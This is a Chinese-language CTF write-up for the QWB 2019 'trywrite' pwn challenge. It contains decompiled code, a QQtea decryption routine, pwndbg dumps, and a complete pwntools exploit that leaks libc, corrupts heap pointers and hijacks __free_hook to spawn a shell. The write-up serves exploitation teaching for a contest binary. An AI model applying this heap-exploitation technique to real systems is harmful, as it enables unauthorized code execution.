强网杯2019 pwn trywrite writeup

粗略看很难,但是仔细分析就会发现有很多漏洞。

源文件、相关文件下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/qwb2019/pwn/trywrite

安全防护

ex@Ex:~/test$ checksec trywrite
[*] '/home/ex/test/trywrite'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

分析

程序当中有很多障碍。

void *__fastcall malloc_inner(int size)
{
  signed __int64 v2; // ST18_8
  signed __int64 v3; // ST10_8
  void *ret_addr; // [rsp+10h] [rbp-10h]

  ret_addr = malloc(size);
  if ( (unsigned __int64)ret_addr > heap && (unsigned __int64)ret_addr < heap + mmap_size[0] )
    return ret_addr;
  v2 = top_chunk_addr + 8LL * ((size + 16) / 8);
  *(_QWORD *)(v2 + 8) = *(_QWORD *)(top_chunk_addr + 8LL) - (size + 16);
  *(_QWORD *)(top_chunk_addr + 8LL) = size + 17;
  v3 = top_chunk_addr + 16LL;
  top_chunk_addr = v2;
  return (void *)v3;
}

该函数限制了malloc出来的地址,使得我们不能直接malloc出任意chunk。

void *__fastcall memcpy_check(void *a1, const void *a2, int a3)
{
  if ( (unsigned __int64)a1 >= libc_start && (unsigned __int64)a1 <= libc_end )
  {
    puts("Oh! You can't write my libc!!");
    exit(0);
  }
  return memcpy(a1, a2, a3);
}

不能改libc

QQtea加密

unsigned int *__fastcall sub_F5E(unsigned int *a1, unsigned int *a2, _DWORD *a3)
{
  unsigned int *result; // rax
  unsigned int v4; // [rsp+24h] [rbp-14h]
  unsigned int v5; // [rsp+28h] [rbp-10h]
  int v6; // [rsp+2Ch] [rbp-Ch]
  signed int i; // [rsp+30h] [rbp-8h]

  v4 = *a1;
  v5 = *a2;
  v6 = 0;
  for ( i = 0; i <= 15; ++i )
  {
    v6 -= 0x61C88647;
    v4 += (v5 + v6) ^ (16 * v5 + *a3) ^ ((v5 >> 5) + a3[1]);
    v5 += (v4 + v6) ^ (16 * v4 + a3[2]) ^ ((v4 >> 5) + a3[3]);
  }
  *a1 = v4;
  result = a2;
  *a2 = v5;
  return result;
}

0x9e3779b9值的int形式就是-0x61C88647,写出对应的解密脚本即可。

def _decode(v, k, delta):
    v0 = c_uint32(v[0])
    v1 = c_uint32(v[1])
    sum = c_uint32(0xe3779b90)
    for i in range(16):
        v1.value -= ((v0.value << 4) + k[2]) ^ (v0.value + sum.value) ^ ((v0.value >> 5) + k[3])
        v0.value -= ((v1.value << 4) + k[0]) ^ (v1.value + sum.value) ^ ((v1.value >> 5) + k[1])
        sum.value -= delta

    return struct.pack('II', v0.value, v1.value)

def qqtea_decode(data, key, delta):
    k = struct.unpack('IIII', key)
    length = int(len(data) / 8)
    d = struct.unpack('II' * length, data)
    return ''.join([_decode([d[i * 2], d[i * 2 + 1]], k, delta) for i in range(length)])

溢出点

Change函数中,虽然有很多检查,但是检查并不严格,比如没有对key1_offset做仔细检查,所以我们可以伪造key1_offset来绕过第一个检查,然后利用memcpy_check进行地址写。

puts("Give me how far the first key is from your heap:");
key0_offset = get_ul();
puts("Give me how far the second key is from the first key:");
key1_offset = get_ul();
key0 = (Message *)(heap + key0_offset);
key1 = (void *)(heap + key0_offset + 136);
if ( heap + key0_offset > heap + mmap_size[0] - key1_offset || (unsigned __int64)key0 < heap )
{
  puts("Sorry~");
}
else
{
  memset(buf, 0, 0x10uLL);
  puts("Please tell me the new key:");
  read_n(buf, 16LL);
  memcpy_check(key0, buf, 8);
  memcpy_check(key1, &buf[8], 8);
  for ( i = 0; i <= 11 && (!ptr[i] || key0 != ptr[i]); ++i )
    ;
  if ( i == 12 )
  {
    puts("How dare you play with me?");
    exit(0);
  }

思路

  1. 泄露地址
  2. 改ptr指针域
  3. 写入__free_hook
  4. 劫持__free_hook

改ptr指针域

这里主要是用了堆中原有的结构,修改了ptr指针域,使得0xabc050地址拥有了写权限。

Change(0x68 + 1, 0, p64(heap_addr)[1:] + '\x69' + p64(0))

执行前:

pwndbg> x/12gx *$ptr
0xabc040:   0x0000000000abc470  0x0000000000abc3d0
0xabc050:   0x0000000000abc330  0x0000000000abc290
0xabc060:   0x0000000000abc1f0  0x0000000000abc150
0xabc070:   0x0000000000abc0b0  0x0000000000abc510
0xabc080:   0x0000000000abc5b0  0x0000000000000000
0xabc090:   0x0000000000000000  0x0000000000000000
pwndbg> x/96bx *$ptr
0xabc040:   0x70    0xc4    0xab    0x00    0x00    0x00    0x00    0x00
0xabc048:   0xd0    0xc3    0xab    0x00    0x00    0x00    0x00    0x00
0xabc050:   0x30    0xc3    0xab    0x00    0x00    0x00    0x00    0x00
0xabc058:   0x90    0xc2    0xab    0x00    0x00    0x00    0x00    0x00
0xabc060:   0xf0    0xc1    0xab    0x00    0x00    0x00    0x00    0x00
0xabc068:   0x50    0xc1    0xab    0x00    0x00    0x00    0x00    0x00
0xabc070:   0xb0    0xc0    0xab    0x00    0x00    0x00    0x00    0x00
0xabc078:   0x10    0xc5    0xab    0x00    0x00    0x00    0x00    0x00
0xabc080:   0xb0    0xc5    0xab    0x00    0x00    0x00    0x00    0x00
0xabc088:   0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xabc090:   0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xabc098:   0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00

执行后:

pwndbg> x/12gx *$ptr
0xabc040:   0x0000000000abc470  0x0000000000abc3d0
0xabc050:   0x0000000000abc330  0x0000000000abc290
0xabc060:   0x0000000000abc1f0  0x0000000000abc050
0xabc070:   0x0000000000abc069  0x0000000000abc510
0xabc080:   0x0000000000abc5b0  0x0000000000000000
0xabc090:   0x0000000000000000  0x0000000000000000

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
from ctypes import c_uint32

# Create a symbol file for GDB debugging
try:
    gdb_symbols = '''

    '''

    f = open('/tmp/gdb_symbols.c', 'w')
    f.write(gdb_symbols)
    f.close()
    os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
    # os.system('gcc -g -m32 -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
except Exception as e:
    print(e)

context.arch = "amd64"
# context.log_level = 'debug'
execve_file = './trywrite'
# sh = process(execve_file, env={"LD_PRELOAD": "/tmp/gdb_symbols.so"})
sh = process(execve_file)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    set $ptr=(void **)$rebase(0x203030)

    b *$rebase(0x1945) 
    b *$rebase(0x1344) 
    b *$rebase(0x19B7) 
    b *$rebase(0x16B6) 
    '''

    f = open('/tmp/pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdbscript', 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

def _decode(v, k, delta):
    v0 = c_uint32(v[0])
    v1 = c_uint32(v[1])
    sum = c_uint32(0xe3779b90)
    for i in range(16):
        v1.value -= ((v0.value << 4) + k[2]) ^ (v0.value + sum.value) ^ ((v0.value >> 5) + k[3])
        v0.value -= ((v1.value << 4) + k[0]) ^ (v1.value + sum.value) ^ ((v1.value >> 5) + k[1])
        sum.value -= delta

    return struct.pack('II', v0.value, v1.value)

def qqtea_decode(data, key, delta):
    k = struct.unpack('IIII', key)
    length = int(len(data) / 8)
    d = struct.unpack('II' * length, data)
    return ''.join([_decode([d[i * 2], d[i * 2 + 1]], k, delta) for i in range(length)])

def Add(key, content):
    sh.sendlineafter('command>> \n', '1')
    sh.sendafter('Please tell me the key:\n', key)
    sh.sendafter('Please tell me the date:\n', content)

def Delete(index):
    sh.sendlineafter('command>> \n', '3')
    sh.sendlineafter('Please tell me the index:\n', str(index))

def Change(key0_offset, key1_offset, content):
    sh.sendlineafter('command>> \n', '4')
    sh.sendlineafter('Give me how far the first key is from your heap:\n', str(key0_offset))
    sh.sendlineafter('Give me how far the second key is from the first key:\n', str(key1_offset))
    sh.sendafter('Please tell me the new key:\n', content)

key = 'k' * 16
heap_addr = 0xabc000

sh.sendlineafter('Please tell me where is your heap:\n', str(0xabc000))
sh.sendlineafter('Do you want to tell me your name now?(Y/N)\n', 'Y')
sh.sendline('good person')

# leak libc addr
for i in range(8 + 1):
    Add(key, '\n')

for i in range(8):
    Delete(i)

for i in range(8):
    Add(key, '\n')

# pause()
sh.sendlineafter('command>> \n', '2')
sh.sendlineafter('Please tell me the index:\n', str(7))

raw = sh.recvn(0x80)
data = qqtea_decode(raw, key, 0x9e3779b9)
print(hexdump(data))

main_arena_addr = u64(data[0:8]) + 0x40
log.success("main_arena_addr: " + hex(main_arena_addr))
libc_addr = main_arena_addr - 0x3ebc40
log.success("libc_addr: " + hex(libc_addr))

# modify the field of ptr 
Change(0x68 + 1, 0, p64(heap_addr)[1:] + '\x69' + p64(0))

# write __free_hook to the ptr field
__free_hook_addr = libc_addr + libc.symbols['__free_hook']
log.success("__free_hook_addr: " + hex(__free_hook_addr))

Change(0x50, 0, p64(__free_hook_addr) + p64(0))

# hijack __free_hook
system_addr = libc_addr + libc.symbols['system']
log.success("system_addr: " + hex(system_addr))

key0_offset = __free_hook_addr - heap_addr
key1_offset = heap_addr + 0x20001

Change(key0_offset, key1_offset, p64(system_addr) + p64(0))

Add('/bin/sh\0'.ljust(16, '\0'), '\n') # index 9
Delete(9)

sh.interactive()